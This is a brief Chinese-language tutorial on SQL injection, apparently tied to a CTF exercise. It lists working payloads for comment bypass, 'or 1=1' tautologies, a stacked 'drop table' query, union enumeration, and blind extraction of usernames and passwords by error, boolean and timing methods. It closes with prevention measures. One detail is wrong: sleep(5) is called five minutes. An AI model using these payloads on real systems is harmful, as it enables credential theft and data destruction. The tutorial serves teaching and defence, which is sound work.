SQL的原理
select *from user where id = 'xxxx'
这条指令在PHP文件中可能会以var sql = "select * from users where id='"+username+"'"";
的拼接形式来传入数据库中进行查询,然后数据库就会把结果返回。
可以通过控制这些SQL指令来起到控制回返的值的作用
SQL的利用
通过xxx’#或是xxx’–
#和–在mysql中起到了注释的作用,可以直接把后面的注释掉,起到一个改变命令的作用。
举个例子,如果在PHP中指令是var sql = "select * from users where id='"+username+"'" and pwd="'"+pwd+"'"";
如果输入了一个xxx’#,那么命令就会变成select * from users where id='xxx'#and pwd =''
,这样id后面的一大片都变成了注释。只要前面的是对的,那么这一串返回的值也就是真值了。
通过xxx’or 1=1#
这个指令会让一串指令去or一个1=1,也就是说不管前面的结果是对是错,只要or了一个1=1,那么这串结果就是对的。这里用[极客大挑战 2019]EasySQL举一个例子。
这是题目的页面,使用这种or 1=1的方法,使返回的值恒等于1
然后就可以获得题目的flag
使用xxx’;drop table user#
使用这种指令就是在这串SQL语句中去插入一些其他的SQL语句,比如删库之类的一些指令来起到注入的作用。
使用union指令
可以先使用order by指令确定表有多少列,然后再使用union select 1,2,3
,这些指令来爆出表的名的和字段名,知道字段名就可以实现盲注了。
盲注
基于报错的盲注
判断表名和列名
union all select null,null from user
判断有无user这个表
union all select null,password from user
判断有无password这个列
判断版本号
and substring(@@version,1,1)=3
根据返回值来判断SQL的版本号
判断用户名和密码
and ascii(substring((select concat(username,0x3a,password)from users limit 0,1),1,1)>64
判断第一个字符的asc码是不是大于64
and ascii(substring((select concat(username,0x3a,passwd)from users limit 0,1),2,1)>64
判断第二个字符的asc码是不是大于64
以此类推
基于时间的盲注
select * from user where id = 1 and sleep(5)
如果前面的语句正确那么,SQL数据库会休眠五分钟,根据指令执行的时间就可以判断指令的正确与否。
and if(hex(mid(user(),L,1))=P,sleep(5),1)
判断当前用户名是否为P
或者benchmark(1000,encode('one'))
执行很多次相同的指令来看时间差
SQL的预防
1.去掉参数字符串中的’,#这些特殊符号,去掉select,drop等关键字。
2.参数化查询 数据库完成SQL指令的编译之后,再套用参数运行,这样不管参数中有什么指令都不会被数据库运行
3.数据类型检测
4.把\ ',\ "给转义掉
5.给不同用户分配不同权限